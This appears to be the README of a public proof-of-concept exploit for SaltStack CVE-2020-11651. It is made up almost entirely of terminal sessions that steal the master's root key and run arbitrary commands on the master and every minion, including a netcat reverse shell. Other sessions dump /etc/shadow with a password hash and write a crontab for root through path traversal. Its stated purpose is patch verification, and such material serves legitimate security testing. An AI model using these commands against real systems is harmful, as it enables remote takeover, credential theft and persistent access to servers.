This is a proof of concept exploit based on the initial check script. Use it to verify you have successfully updated your Salt master servers to a release containing the required fixes.
Thanks for F-Secure Labs for their research and reporting.
Currently this script can be used for filesystem access and scheduling commands on the master and all connected minions. Use these powers wisely!
Default operation (without arguments) is to obtain the root key for the given master:
root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
root@kalimah:~/salt#
Executing arbitrary commands on the master:
root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130 --exec "nc 127.0.0.1 4444 -e /bin/sh"
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
[+] Attemping to execute nc 127.0.0.1 4444 -e /bin/sh on 192.168.115.130
[+] Successfully scheduled job: 20200504153851746472
root@kalimah:~/salt#
The same, but on all minions:
root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130 --exec-all="apt-get upgrade -y"
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
[!] Lester, is this what you want? Hit ^C to abort.
[+] Attemping to execute 'apt-get upgrade -y' on all minions connected to 192.168.115.130
[+] Successfully submitted job to all minions.
root@kalimah:~/salt#
Files can be read with:
root@kalimah:~/salt# python2 exploit.py --master 192.168.115.130 -r /etc/shadow
[+] Salt version: 2019.2.0
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: GkJiProN36+iZ53buhvhm3dWcC/7BZyEomu3lSFucQF9TkrCRfA32EIFAk/yyQMkCyqZyxjjp/E=
[+] Attemping to read /etc/shadow from 192.168.115.130
root:$6$7qfolaa/$3yhszWj/VUJjfPaqr1yO6NLgV/FhHnVT9Pr6spwJ/F0BJw5vFM.3KjtwcnnuGo5uSJJkLrd28jXrmVZUD9nEI/:17812:0:99999:7:::
daemon:*:17785:0:99999:7:::
bin:*:17785:0:99999:7:::
sys:*:17785:0:99999:7:::
sync:*:17785:0:99999:7:::
games:*:17785:0:99999:7:::
man:*:17785:0:99999:7:::
[...]
Files can be uploaded using --upload-src and --upload-dest. Note the destination must be a relative path:
root@kalimah:~/salt# python2 exploit.py --upload-src evil.crontab --upload-dest ../../../../../../var/spool/cron/crontabs/root
[+] Salt version: 2019.2.0
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (127.0.0.1:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: GkJiProN36+iZ53buhvhm3dWcC/7BZyEomu3lSFucQF9TkrCRfA32EIFAk/yyQMkCyqZyxjjp/E=
[-] Destination path must be relative
[+] Attemping to upload evil.crontab to ../../../../../../var/spool/cron/crontabs/root on 127.0.0.1
[ ] Wrote data to file /srv/salt/../../../../../../var/spool/cron/crontabs/root
- Python 2 or 3
- Salt (
pip3 install salt)